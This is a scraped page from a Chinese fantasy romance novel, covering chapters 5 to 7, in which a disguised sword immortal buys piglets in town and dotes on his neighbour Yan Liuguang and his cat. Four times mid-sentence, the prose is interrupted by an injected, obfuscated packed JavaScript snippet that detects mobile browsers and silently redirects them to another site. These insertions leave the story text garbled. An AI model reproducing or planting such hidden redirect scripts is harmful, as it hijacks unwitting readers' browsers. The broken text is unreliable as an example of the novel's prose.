解椿放走萤虫,去侧边屋檐下面找了个地方挂住小鸟,并没收了燕流光编到一半的兔子——也可能是狗。 “我们是在清理院子。”他如此提醒,打定主意专心。 “好。” 燕流光任劳任怨,半点不生气。 可这么长一条人不时在眼前晃悠两下 ,解椿实在很难不去好奇。 干活只要有手就行,不妨碍说话。 他这样说服自己,认真喊了青年的名字:“燕流光。” 问:“你是做什么的?” “现在是教书。” 解椿一愣,语气难免微妙,“那以前呢?” 随即补充:“我以前也教过。” “以前……”燕流光却犹豫起来,吞吞吐吐,好半天不出声。 良久,才下定决定般开口:“以前不做什么,只是不停去一样的地方。” “可是去不一样的地方,不就是你当时在做的事?” 解椿莞尔,“就算去了那么多地方也没找到想做的,你现在也还在教书啊。” 这有什么好害羞的。 他以前修炼,还连剑都挥不出去呢。 院子里忽然没了声音。 他这才发现不知不觉间有人的嘴唇又抿起来,脸也紧紧绷着,目光更是凌厉得吓人。 然而解椿已经完全不觉得燕流光凶。 他侧过脸,上前走了两步,大大方方和燕流光对上视线,“怎么了?” 燕流光仍是那副表情,只是微微垂下了眼:“之前……” 刚出声,就又改了口:“……现在怎么不教了。” 配上语气,解椿莫名有种燕流光是不敢看自己的古怪念头。 “因为教不会,没有用。”解椿理直气壮。 燕流光:“……” “有的人,天生就是要笨一些。” 青年有些艰难地安慰解椿:“不是教的原因。” 解椿摇头:“不是笨,是蠢。” “人一蠢,就很容易跟着坏。”他这样对燕流光说。 燕流光霎时僵住。 他看上去心事重重,好像有很多话想说。 然而解椿等了很久,也没等到他问。 只等来一个尾巴真的可以晃的草编小狗。 毛茸茸的莠草穗,倒也当真像小狗尾巴。 解椿拽着狗尾巴,再看不知为何就紧张起来的燕流光,总感觉自己在玩的不是草编小狗,是燕流光自己的尾巴。 当然……燕流光肯定是不可能有尾巴的,燕流光是人,不是妖怪。 他也不会让人长尾巴的法术。 但解椿依旧没忍住笑。 “所以已经不教了呀。”他努力绷紧脸,“ ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17528802|203641||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 我来这里,是打算以后都杀猪的。” 燕流光动作一滞,跟着重复:“……杀猪。” 解椿毫无所觉,重重点了下头,笃道:“没错,杀猪。” “你也觉得杀猪很好吧,人可能是坏人,但猪不一样,猪就算再坏,也能有用。” “不吃,还可以留着生小猪。” 燕流光眉眼凝重,嘴唇无声嗡动,似是难以启齿。 他兀自挣扎了片刻,终于自暴自弃般开口:“小猪不劁,就不会长肉。” “……骟猪生不了更小的猪。” 解椿:。 解椿尴尬,解椿咳嗽。 他有点不太好意思去看燕流光,“那你知不知道怎么劁猪?” 燕流光悄悄踢掉了脚边最后一块小石头,“见过,可以试试。” “差不多会。” 后面几个字又轻又快,连解椿也差点没听见。 解椿忍不住赞叹:“燕流光,你好厉害。” 不像他,见了再多,该不会的还是不会。 师父研究出的那些好看又有意思的术法,他现在依然使不出来。 这点,解椿很难不耿耿于怀。 “我要把我杀的第一头猪分一半给你。”他随即便做了决定。 然而燕流光脚边已经没有石子可踢了。 地上多了半个清晰的脚印。 “……养猪我也看过。”燕流光赧声,“我就住在旁边。” 解椿充耳未闻:“那现在就差猪了。” “等会天亮,找村正立了契约以后,我就去镇子上。” 他突然想起来燕流光,问:“燕流光,你有没有什么东西想买啊?” 燕流光果断摇头。 “真的什么都不想要?”解椿不死心。 见他如此,燕流光不由迟疑。片刻,才不确定道:“可以带一点茶。” 顿了顿,又道:“有一种点心,要用茶做。” 解椿还以为是他喜欢吃茶,失望,“可以,但是还有你自己要的。” 他不信燕流光什么都不缺。 肯定是还没想起来。 可惜燕流光除了摇头,就是摇头。 乌兮襄助的那些财物,在燕流光面前,竟然毫无用武之地。 直到天边隐约亮起一抹白,解椿才终于做了决定,“你不要,就给猫买。” 燕流光呆立半晌,默然笑了:“它会打猎。” 笑容一闪即逝。 回过神,解椿已经盯着他的脸看了不知道多久,“猫的也不要?” “猫是猫,你是你,你怎么就知道猫不想要?” 燕流光果然迟疑:“……还是我要吧。” 解椿并不知道他是怎么想的,又想了些什么。 可这样的燕流光实在好玩。 他边笑边问燕流光:“好吧,你想要我带什么?” 书?还是纸笔? 抑或更实用的东西? 解椿心念电转,脑海中一刹划过许多名字。 “要一枝花。”燕流光语气里多出一丝郑重。 他如此说:“路上要是看见了,折一枝就好。” ——原来这个人喜欢花。 解椿当下便记住了这件事。 他决定,回来的时候,不但要给燕流光折一枝开得最好看的花,还要选一个足够漂亮的瓶子。 5. 杀猪第五天 解椿踏到青石板上的时候,晨雾还没有完全散。 他袖子里除了按过手印的契书,还有燕流光让他带上的干粮,一张饼。 说是让他路上吃。 只是解椿不小心走得快了一点,没想起来。 他摸着软和、沉甸甸的饼,开始思考要不要干脆回去重新走一趟。 可镇子也已经醒了,挑着担子的人来来往往,叫卖的声音隔着半条街都能听到。 解椿静静看了一会,喊剑的名字,话出口,才遽然意识到剑已不在身边。 也许是一百年,也许是好几百年以前,这样的烟火他也见过。 好像无论神仙如何,兴亡如何,人间都不会有变化。 解椿从袖子里掏出了饼,不紧不慢往声音最沸腾的地方走,一边走,一边看。 镇上有专门买卖牲畜的地方,今天也恰好开市,仔猪不难买。 这是村正告诉他的。 虽然村正很不赞成他在太平村杀猪,絮叨了很久,话里话外都是当屠户没那么简单。 尤其是知道他以前是教人的之后。 “三个你加起来也不够一头猪撞的。”头发花白,个子矮矮的小老翁吹胡子瞪眼,转头又去骂燕流光胡闹。 “他城里边来的,不懂,你还能不懂吗?” 解椿不得不证明自己肩很能挑,手很能提,拎着石磨,连续在院子里跑了好几圈。 村正一开始还嚷嚷,后面就没有话说了。 不过走的时候,解椿听见他偷偷拉着燕流光问,自己是不是他哪边过来投奔的亲戚。 谁让燕流光天生力气大,从模样看还看不出来。 但光看样子,燕流光也不会做饭,更不要说厨艺还很好。 解椿啃着饼,得出人不可貌相的结论,顺手买了边上铺子里的糖。 这东西他以前也给人买过,只是要更扁、更小,不比现在拿着的好看。 解椿“咔擦”咬掉糖人的半边脑袋,意识恍惚,差点看见师父。 他猛嚼一大口饼,很勉强把嘴里的东西咽下去,飞快往左右看了看,把剩下糖的丢进袖子,干脆毁尸灭迹。 解椿毫无负担,若无其事,继续往前面逛。 半条街还没过,又看见糖铺。一群小童正围在铺子边上,手里拿着糖,七嘴八舌,好不热闹。 距他们不远,还站了个衣裳发白发硬,缝补了许多处的少年。 解椿目光在少年身上停了一下。 之前捡到那谁的时候,他也是如此落魄。 明明总感觉也没有过去多久,可眼下记起来,他竟然已经完全想不出样子了。 解椿无端有点惆怅。 他把看过的剑法在脑子里默了一遍,首先排除自己睡太久、真睡成了一根记性不好的木头这一可能。 既然不是他的问题,就是那谁的问题了。 解椿认真找了会原因。 发现那谁修炼刻苦但不多,天资过人但有限就算了,就连格外能拿出手的气质样貌也比不上土生土长的燕流光。 解椿叹气,就算那谁几乎完全不值得同情,他也想自掏腰包,送少年一个糖人。 那谁都能被他捡回去,这少年却连根糖吃不到,未免有点过于可怜。 解椿屈指,不动声色朝少年脚底下滚了几枚钱,这才站到卖果子的摊位前面,去捡一早就看上的枇杷和李子。 不知不觉,手里就多了许多东西。 感觉有用的,或许没有用但没见过的……总之,碰见沿街吆喝的卖花郎时,解椿已经没有手了。 卖花郎扁担两头挑,竹筐里的颜色多到解椿眼睛吵。 见他踟躇,卖花郎也停住脚,放下扁担,娴熟拿了一小把栀子出来。 “这花簪着又香又好看,郎君若是有意,不妨给家中娘子带上几朵。” 花确实香,细闻,还有一丝淡淡的苦,让人不至于腻。 “不是娘子行吗?”解椿问。 卖花郎面露了然,放回栀子,挑了朵比巴掌还大些的艳红芍药。 “那就送这个。” “走的时候再递给女郎,她心里肯定欢喜。” 解椿无言道:“……是男的,郎君。” “郎君啊?”卖花郎语气古怪,“族中兄弟,连襟?” 于是解椿也跟着困惑起来:“一定得是什么人才行吗?” 他的确是刚好选在了隔壁住才认识的燕流光。 可燕流光本来就很好。 就算空房子在村头,和燕流光隔了十几二十户,哪天燕流光帮了他的忙,他一样会给燕流光带花。 “我要……”解椿试图说明。 话还没说,卖花郎就已连连冷笑,“消遣我?” 他睨了解椿一眼,手上花都没放回去,径直挑着担子走了。 解椿迷茫。原地站了很久也没想通,这人为什么好端端翻脸。 但他真的得去买猪了,等给燕流光选好装花的瓶子。 去太晚,可能会收市。 至于要送的花本身—— 有土的地方,就有会有花长出来,一副扁担装不下,更挑不走。 实在买不到,去山里找也是一样的。 解椿从买卖牲畜家禽的巷子里出来,背篓提笼。 篓里两头仔猪嘤嘤叫,笼内八只鸡雏也不甘示弱,叽叽闹着,几乎挤成一团明黄的绒球。 吵是不吵,但不太好听。 解椿其实还看上了一头小羊。 蹦来跳去,耳朵比其它的羊稍微长一点,刚好能被他抱住。 顾及怀里搂着的瓷瓶,只能遗憾作罢。 两只手都满了,东西就装不下了,当凡人就是这点不方便。 天还早,太阳刚爬上来没多久,云也是淡淡的彤色。 可解椿走了好几条街,都没听见卖花郎的声音。 去问人,才发现不是他前脚走,就是卖花郎后脚到,别有一种默契。 就是不够有缘分。 解椿不得已暂时放弃买花,慢悠悠逛起镇子。 镇子叫青仙镇,一河隔开东西,河里栽了一小片藕。 田田□□叶,小荷正初开。 解椿站在桥上,顿时决定带荷花回去。 养在月白的灯笼瓶里,肯定好看。 解椿选了很久的花苞,卡在最后一步,没下去手。 水里埋的藕不多,莲叶也少,再被他折几支花,光秃秃,多难看,怎么比得上现在错落有致。 解椿和恰好点完涟漪的蜻蜓一起过桥,心中说不上遗憾。 虽然他已经打定主意等会去 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17528803|203641||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 山里或者别的什么地方给燕流光采荷花,但还是准备把镇子逛完。 做事情,就要有头有尾。 青年沿了风,逆着匆匆行人,粼粼车马,穿过短巷,拐过院落,但见西南缺角,一棵石榴静静探出墙来,花开似火,别有热闹。 烧得天似乎都更湛了。 解椿驻足观赏良久,提笼敲了那户人家的门。 * 解椿故意在路上拖了几个时辰才回村。 太平村已经有不少人认识他了,见了他,就热情和他打招呼,夸他力气大,腿脚快,也有问他城里怎么样,有没有婚配…… 村里多是叶姓,沾亲带故,一点小事也能很快传遍,何况突然搬过来这么大一个人。 解椿以前还算受欢迎,尚能应付得来,只是多少有点生疏。 看到燕流光,才不自觉松了口气。 燕流光站在他的院子外面等他,隔了很远,就已经在向他点头。 解椿脚步于是又快了一点。 他站到燕流光面前,第一件事,就是把燃着榴花的瓶子塞进了燕流光怀里。 花好看,人也好看,解椿满意。 不枉他特地借了梯子,剪了树上最好看的一枝。 “我看到镇子上还有荷花。” 解椿反复打量燕流光,砸吧了一下嘴,没忍住回味道:“荷花也合适。” 再换一身衣服,重新梳个发冠,就是真正的出尘仙君来了,也得喊燕流光一声道友,询问燕流光尊名。 “藕塘隔壁村就有。” 燕流光这才如梦初醒,“不远,现在就可以去采。” “就算去,我也要把东西都放下来。” 解椿边说边往院子里面走,愣住。 树下已经摆了新的凳子,水井上那块石头也搬走了,旁边就放着系好绳的木桶……角落处甚至还堆了一捆码得整整齐齐的新柴。 他回头去看燕流光,这才发现燕流光刚才起一直没动过,木桩似的杵在那里,像脚生了根。 解椿大为惭愧,三两步放好笼子还有背篓,推着燕流光进了院里,直往凳上按:“你先坐着,我去要点水。 ” 正欲转身,想起来这人还抱着个沉甸甸的瓶子,伸手就要去接。 ……拉了两下,没拉开。 解椿不信邪,再试一遍,非但没能成功,还差点了个打了个踉跄。 燕流光伤心又警惕,十分有在被欺负的自觉:“这是你折给我的。” 解椿:“……” 解椿好气又好笑:“但是你修了一整天的院子,已经很累了。” 燕流光斩钉截铁道:“不累。” 跟着又道:“没有一天。” “那就半天。”解椿改口,直接从袖中翻出一颗李子,塞进了他嘴里。 青年将出口的话顿时变作“呜呜”声。 解椿“嗯嗯”点头,把人重新往凳子上按了按,乱回:“我知道了,你坐好,不要乱动,帮我看一点小猪,我这就去要水。” 他又悄悄翻出来几粒枇杷,也都塞进燕流光的手臂:“实在渴,就先吃果子。” 燕流光艰难咽下李子:“我屋子里就有水。” “还烧了饭。” 差点就舍近求远的解椿脚步拐了个弯,讷讷:“……哦。” 6. 杀猪第六天 燕流光院子打理得井井有条,意趣十足,解椿便理所当然以为屋里面也是。 直到他推门。 物各其所,窗明几净,倒也不能说和想的完全两模两样。 只是有点奇怪罢了。 一眼扫过去,解椿没看到任何多余的东西。 要不是桌上面摆着个装好了饭菜的食盒,食盒旁边还有没合上盖的笼屉,他甚至以为这里是专程留下待客的地方,并不住人。 但站在窗户旁边看外面,就又重新热闹了,院内陈设,几乎一览无余。 解椿拎起食盒,合好笼屉,决定劝燕流光把那瓶榴花摆在窗户旁边。 这样,从窗户往里看,也不会显得单调。 还有猫的事。 猫总出去打猎,有家不归,燕流光至少有一大半责任。 哪怕在外面放个窝,搁在柴火堆旁边也是好的呀。 解椿心不在焉跨过门槛,被慌不迭飞过来的一团黑撞了个满怀。 是乌兮。 身上羽毛七零八落,尾巴也秃了小半边,狼狈极了。 鸟大睁着湿润的,绿豆般的眼睛,嘤嘤叫了一声,虚弱、无力。 解椿慌不迭放下食盒。 正要检查伤势,迎面又掣过来一道黑色的闪电。 “啪嗒”一声,鸟被压着翅膀,按到了地上。 罪魁祸首轻巧咬住它的脖子,甩了一下尾巴,矜持将它往前推了推。 竟是只金瞳灿灿的玄猫。 玄猫四肢健壮,一身皮毛油光水亮。 解椿蹲下,同猫,还有看上去仿佛已经哭出来的鸟对视,几乎能想到乌兮那张委屈又悲愤的小脸。 “不行,这个不能吃。”他对猫说。 猫歪起脑袋,轻轻冲他“喵”了一声,而后再度推了推鸟。 解椿:…… 要是这鸟不叫乌兮,他或许真会惊喜。 乌兮原先怎么说也是个能横行十里八乡的小妖怪。 一朝化凡,被猫当成猎物就算了,还连个还爪之力也没有,事后指不定得怎么安慰。 解椿缓缓闭眼,选择大声叫燕流光的名字,“燕流光,你过来一下!出事了!” 话音几乎刚落,青年就出现了院子里。 他是火急火燎直接翻了墙过来的。 见解椿好端端蹲在门口,心中那块大石才落地。 “你的猫回来了。” 解椿指着猫,手腕又往下压了压,“这是我院子里的鸟。” 燕流光一言不发,捏了猫的后颈,干脆提猫起来。 人拎猫,猫叼鸟。 解椿跟着仰头。 他目光一路往上,越过两只黑漆漆的动物,去看那张没有任何表情的冷脸,莫名很想笑。 解椿道:“你先把它放下来,好好说话。” “不用。”燕流光充耳未闻,抖了两下猫,斥声,“松开。” 猫任由他晃,怎么也不松嘴,反而竖起耳,眼睛溜圆地盯着解椿,格外懵懂。 解椿无奈起身,将猫从青年手中救下,只觉得自己好忙。 不但得替鸟做主,给猫讨公道,还要向人讲道理:“……燕流光,你不要这么凶。” “就算是猫,做错了事,也要教的。” 然后又去低头哄猫。 解椿没哄过猫,但十分充足的哄剑经验,放低声音,咪咪、乖乖地喊。 猫发出呼噜呼噜的声音,主动用脸颊蹭他的手。 但依然按着鸟不放。 鸟闭着眼睛,看上去已经恨不得死了。 解椿顿了一下,偏头去找燕流光,示意他想想办法,“你的猫。” 燕流光眼神闪烁,不知在看哪:“……鸟是给你抓的,你跟它要,它就会松开了。” 解椿狐疑扫了一眼他发烫的耳根,暂按不表,试探朝猫伸了手。 黑猫咪呜一声,听话抬起爪子,努着嘴把鸟往解椿手里面拱,乖得解椿心神荡漾,情不自禁给它开脱:这么亲人的一只猫,再坏又能坏到哪里去,猫抓鸟,毕竟是天经地义的事,它也不是故意的。 但看了几乎连滚带爬躲到他袖子里乌兮,不得已,只能狠心。 解椿轻轻弹了一下同样黢黑的鼻头,“这是我家的鸟,以后不可以乱抓了。” 猫呼噜响,不知听进去了没有,燕流光倒是突然伸手去摸鼻子。 解椿于是找准目标。 他叹了口气,把猫抱起来,递过去。 猫嗷嗷大叫,顿时挣扎起来,宛若片刻前被捕的乌兮。 解椿:…… 他迟疑:“……你的猫?” 燕流光点头:“不亲人。” 接着道:“也养不熟。” 解椿无言将猫抱回,顺手挠了挠它的下巴。 猫立刻重新响了起来。 他去睨燕流光,“这也叫不亲人吗?” 燕流光摩挲着下巴,眼神到处乱飞,看天看地,就是不敢看他。 解椿认为这恰好就是心虚的体现。 他当下便严肃咳嗽了一声,清了嗓子,道:“燕流光,你养了猫,就要对猫负责。” 道理和养人其实是一样的。 只是猫——或者其它什么动物,或者剑,不会有人那么难猜,那么复杂,亘着一层又一层的心思和考量。 “刚刚在屋子里的时候,我就注意到了。”他继续往下说,“你根本没有给它准备住的地方。” 燕流光默默把那句“因为它只会喜欢你”咽下去,低头应了一声。 “他自己到床上睡。” “那也是你的床。”解椿认真,“家里有它自己的地方,它才能安心。” 光在家里等猫回来有什么用。 他养人不太行,但养剑很好,甚至可以说颇有建树。 教区区一个燕流光,不在话下。 “你要先亲它,然后它就会亲你,和你熟了。” 燕流光冷冷瞥了一眼猫猫,无声警告。 猫完全视本尊为无物,舒舒服服窝在青年怀里,自顾自舔着爪子。 解椿想了想:“可以先给它做一个垫子。” 他正好也打算给乌兮搭个新的鸟窝,作为安慰,还有赔礼。 “好。” 燕流光一口应下,打算到时候随便找块布对付。 但解椿以为他真听进去了:“还有,它在家里的时候,你得多找找它,和它说话。” “就像这样——” 解椿试图演示,话到嘴边,才发现自己还不知道猫的名字。 “燕流光,它叫什么?” 沉默,可疑的沉默。 “你不会没给它起名字吧!” 解椿大惊,简直不知道说什么好:“它晚上不回来,你担心得睡不着,但是你又不给做睡觉的垫子 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17528804|203641||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,连名字都也没有起,你,你……唉。” 燕流光听不得解椿叹气,即便解椿并不是在伤心。 可猫确实没有名字,猫是魇,是一部分的他。 他总不能说,猫也叫燕流光。 燕流光想不出办法,索性把食盒拎起来。 “先吃饭。”他说。 解椿气得想骂笨蛋,但忍住了。 他起先确实是过来装水,拿饭的,只是中途出了一点意外。 “饭什么时候都可以吃,我们得先给它起一个名字。”解椿义正言辞,把猫举高了一点。 说完,才想起来燕流光是凡人,顷刻后悔。 他飞快改口:“我又想了一下,发现你说得更有道理,还是先吃饭更好。” 燕流光把还没出口的话咽回去:“好。” “要喊猫什么?”他当然也没忘记问解椿另一个重要的问题。 “看你自己喜欢,或者问它。” 燕流光养的猫给他一种聪明,极富灵性的感觉。 遭逢会遇,这样的猫,是有可能变成精怪的。 “选几个你觉得好听的名字,然后一个去一个叫,看它对哪个有反应。” 解椿指了猫,随口举了几个例子:“黑云,墨汁,木炭……” 猫跟在后面,喵一声,喵两声,喵三声,声音又娇又软,好像哪个都很喜欢。 “那就墨汁。”燕流光一锤定音,也喊了一声猫。 猫打了个哈欠,尾巴一甩,直接屁股对他。 解椿闷笑,“慢慢来。” 随即恢复正色,喊燕流光的名字:“如果慢慢来,它也还是这样,那就没办法了。” 燕流光不懂:“不是说,要持之以恒?” “可你已经努力过了啊。” 解椿语气轻松,“努力不是一定就会有回报,也许墨汁就是那种不亲近人、怎么也养不熟的猫。” “但是不去做,就不会知道,所以无论如何都要先做才行。”他歪过头,笑道,“以前,教我的人就是这么告诉我的。” 不管什么事,只有不论吉凶不计成败都去做的人,才有资格过问天意,才有资格怨天尤人。 燕流光久久不能回神。 ——你就是这样才会“死”?才会出现在我面前的吗? 他想问解椿。 他不敢问。 解椿连他是谁都不知道,根本不认识他。 最后,他这么说:“可墨汁很亲近你,它喜欢你。” 涉及解椿,猫难得给了一点反应,咪呜滚身,露出柔软的肚皮。 解椿迅速伸手摸了一把,这才继续开口:“我天生就比较讨动物喜欢。” “等什么时候去山里,你说不定能看到鸟把我当树枝。” 谁让他比起人更像树。 猫也会上树,还会到树上抓鸟,喜欢他也很正常。 “那也是喜欢。”燕流光坚持道,“它喜欢你就可以了。” “也对,我就住在隔壁。” 解椿想了想也是,“不过墨汁的垫子不能放过来,我家树上有鸟住的。” 除了鸟,还有把不知道什么时候就会闪过来的神剑。 小花可没那么好说话。 择日不如撞日,解椿决定今晚就去看剑,顺便给剑吹一吹耳旁风。 这样,即便剑发现他在外面招猫逗鸟,也不至于立刻爆炸。 7.杀猪第七天 丑时三刻,解椿睁开眼,直挺挺从床上坐起来。 这个点,连村里的黄狗都已经睡了,正是出门看剑的好时候。 解椿拉开房门,迈出去的脚刚踩下一半,就猛地顿住,缩了回去。 他低下头,看向门槛外面: 黑漆漆的夜里,一团同样黑漆漆的东西动了动耳朵。它支起来,又马上化开,四只爪子撑出一大滩不规则的墨。 猫打了个哈欠,这才睁开眼,用幽幽亮着光的瞳孔注视着解椿。 随即,它抬起脸,亲昵贴上了解椿的小腿,不停在他脚边打转,用毛茸茸的身体蹭他,娇滴滴地叫:“喵~” “怎么睡在这?”解椿压下嗓子,放轻声音问道。 差一点,他就踩到墨汁的尾巴了。 还好他不是真的凡人。 猫咪咪答了两句,也不知道在说什么,换了一边继续蹭。 解椿被它蹭得小腿发痒,心也跟着痒,悄悄从溪里攫了条鱼。 他抚了一把猫,一路从脑袋到摸到打旋的尾巴尖,这才从袖子里把鱼掏出来,“嘘”了一声。 猫叼起鱼,耳朵往后抖了抖,歪头。 “我出去一下,这是封口费。”解椿说。 随即,他弯腰,卡住猫的前肢,把猫从地上叉起来,将长长的一锭墨搭在肩膀上,转身进了屋。 安顿过猫,解椿从外面锁好门。 辛劳一天,燕流光早早就被催促着去睡了 ,此刻好梦正酣。墨汁颇有灵性,若因此惊扰了燕流光,把人搅醒,反而不美。 但这也不能怪猫,得怪他。 要是他直接从屋子里面走,就不会有这样的顾虑了。 开开心心当了一天凡人后,又开始不太适应剑仙身份的解椿决定吸取教训。 他里里外外检查过几遍衣服,又使了两个净尘术,才放心走进林子。 只听“嗖”一声,神剑穿林破叶,直直撞进了他的怀里。 解椿半点不意外地搂住剑:“我就知道,你肯定也想我了。” “小花,我今天去了人间的集市。” 他掏出几条绳子,特地在剑跟前晃了晃,“还学到了一种新的编法。” 剑嗡嗡催促,也学解椿的样子去甩自己的剑穗,讨价还价。 想要新的,但现在这个也很喜欢。 剑选择都带。 “带两条剑穗不一定好看。”解椿转眼就编好了半个笼子,笑它,“再说,等我编完,你肯定又更喜欢新的了。” 新剑穗是草笼的样式,闪着星星的萤火,上面用绳扣穿起来,下面是长长的流苏。; 剑即刻喜新厌旧,甚至比出鞘的速度快。 解椿理这新剑穗,没有马上给它系:“好看?” 剑使劲贴解椿。 当然好看,而且剑还没有过这种样式的剑穗。 解椿嘴角又往上扬了扬:“很喜欢?” 不,这是剑最喜欢的剑穗。 剑飞快撇开旧的,以表决心。 于是解椿眨眼,也不急着给剑系上新的,而是缓缓对剑道:“这个编法,是我从今天认识的一个人那里学到的。” “那个人的家,刚好就在我现在住的地方旁边。” 人的险恶用心,剑并不能懂。 剑一无所觉,嗡嗡地夸着人能干,不但马上就安顿好了,还给剑编了漂亮的新剑穗。 解椿摇头:“小花,我没有那个人能干。” “我去集市的时候,是他在收拾院子……甚至劈了好几捆柴,回去烧了一顿很好吃的饭。” “他在村子里教书。”他一边想,一边说,“长得也特别好,比……” 解椿继续卡壳,依旧没想起来那个第一才俊姓甚名谁,“就是以前说要挑战我,结果连山门都没进来的那个,比他都好看。” 剑依稀记得有这么个人,不怎么好看。 “重点不是好看,是他人很好,很厉害。”解椿循循善诱,“小花,他烧的饭,比以前云桥烧的还要好吃。” 剑激动从他怀里跳出来,不信。 因为云桥是世界上烧饭最厉害的人。 “云桥厉害的是当官,不是烧饭。他应该是世界上当官最厉害的人才对。” 解椿笑出声,好像回到那年的雪夜。 少年郎一边给他盛粥,一边用袖子揩脸,但其实早在熬粥的时候他眼泪就滚进去不知道多少回了。 应该往里放的一小勺糖也加成了盐,还反复加了好几次。 实在是难喝的粥,实在是可怜的少年。 解椿喝完粥,悄悄留了一块金子。 但剑不忿。 粥太咸太苦,那一天,解椿连剑气都是皱巴巴的。 遂偷偷入了少年的梦。 少年梦中将剑当成仙人,又供又奉,整整磕了一百个头,只求仙人让他阿娘病愈。 总之……剑还没来得及算账,就灰溜溜回来了。 解椿了解过原委,让它带自己再入了一趟梦,善后。 原来粥铺是少年娘亲开的,他由娘亲抚养长大,日子虽然清苦,但母子相依为命,也不觉得艰难。 先生见他颇有天资,勤勉刻苦,又念及求学不易,不忍见他蹉跎光阴,便写信求了多年没有联系过的朋友。 他文章果然得了先生朋友的赏识。 能破格被录进书院念书,本是喜事,可娘却突然病倒了。 请了大夫,大夫也只摇头,让他好生照料,侍奉最后一段日子。 书院远在千里,想赶上入学,不日便要收拾行李上路。天寒地冻,滴水成冰,他走了,阿娘要怎么办? “当时刚送过大夫,心焦如焚,不是故意给仙人苦粥。” 少年又开啪嗒掉眼泪,“仙人若是降罪,罚我一个人就好,不要牵连到我阿娘,等我娘走了,怎样罚我,我都……” 解椿无奈打断了他:“那块金子呢?” “……报官了。”少年哽了一声,“我不知道那也是仙人丢的。” 解椿:“……” 解椿叹气:“那是我见你可怜,专程留给你的。” 但少年不要,只一个劲求解椿保佑他娘亲早点病好,健健康康,长命百岁。 就算是在梦里,头磕多了,脑袋也会疼的。 这架势,难怪剑招架不住。 解椿好笑,翻出来一粒丹药,让少年醒后给他娘服下。 少年继续磕头,内容从求他保佑娘亲,变成了问有没有什么方法能报答他。 决心强到解椿的法术根本定不住人——这毕竟是少年的梦,在梦里,梦的主人才是最大的。 “好吧,那就给我做一顿饭吧,认真做的那种。十年以后,我再来找你。” 最后,解椿只好这么说。 他说完,火速让剑带自己离开了梦,虽不至于狼狈,但和从容也沾不上边。 少年就是云桥。 第二次碰到云桥,是在回去祭拜师父的路上。 河中黑蛟作乱,解椿渡口斩蛟。 大雨之中,云桥穿着朱红的袍子,提剑站在将溃的长堤面前,正被后面的人七手八脚拉着。 分明是张足够陌生的脸,可解椿还是一眼就想起来,这人还欠他一顿饭。 ……哭的样子简直一模一样。 过去二十三年,云桥已经成了一地的父母官,有妻有子,百姓爱戴,生活美满。 他娘没有活到一百岁,但亲眼看到他考了状元。 “你武功也不会,都不够那蛟塞牙缝的,还上去拼命。”解椿支着下巴,“妻子怎么办?” 云桥一个劲地给他夹菜,不说话。 然后解椿就发现他又在哭了。 解椿问原因。 云桥哽咽:“这几道菜还是我娘还在世教我做的,仙人今次救我……” 解椿听不得长篇大论,为免自讨苦吃,拉出来他偷偷在帘子后面看的发妻,还有女儿,喊她们一起用饭。 夫妻坐在一处,怀里抱着女儿,云桥又不好意思哭了。 解椿饱餐一顿,心满意足地辞行。 “这是我吃过最好吃的饭。”他如此对小花说。 小花信以为真,跑去梦里,让云桥又烧了一顿,美美飨之。 云桥厨艺确实不错,于是有一之后,很快就有了二和三……反正是梦,解椿睁一只眼,闭一只眼,也就随它去了。 他有时也会让剑也带自己一起。 如此,又是几十年。 云桥离世那天,也是大雪。 最小、最受他疼爱的孙子在席上抱着碗哭,吃了一嘴的眼泪的样子和他少年时很像。 剑也很难过。 它从此再没有胡乱入过谁的梦,解椿此刻夸起燕流光,自然大胆、放心。 “而且云桥不会做糕点。”解椿说,“他不但会做,而且做得很好,完全不甜。” “只有一点美中不足……你要去他梦里?” “小花,你去他梦里做什么?” 解椿惊愕,总算知道了什么叫搬起石头砸自己的脚,“……我以前没有像这样夸过谁?” “小花。”他沉吟,不得已开始讲道理,“我是在用我觉得好的词,比如质而不野,璞玉浑金 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17535867|203641||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 这些,把一个很好的人的样子告诉你,而不是在夸他。” 剑觉得这就是夸,剑非去不可。 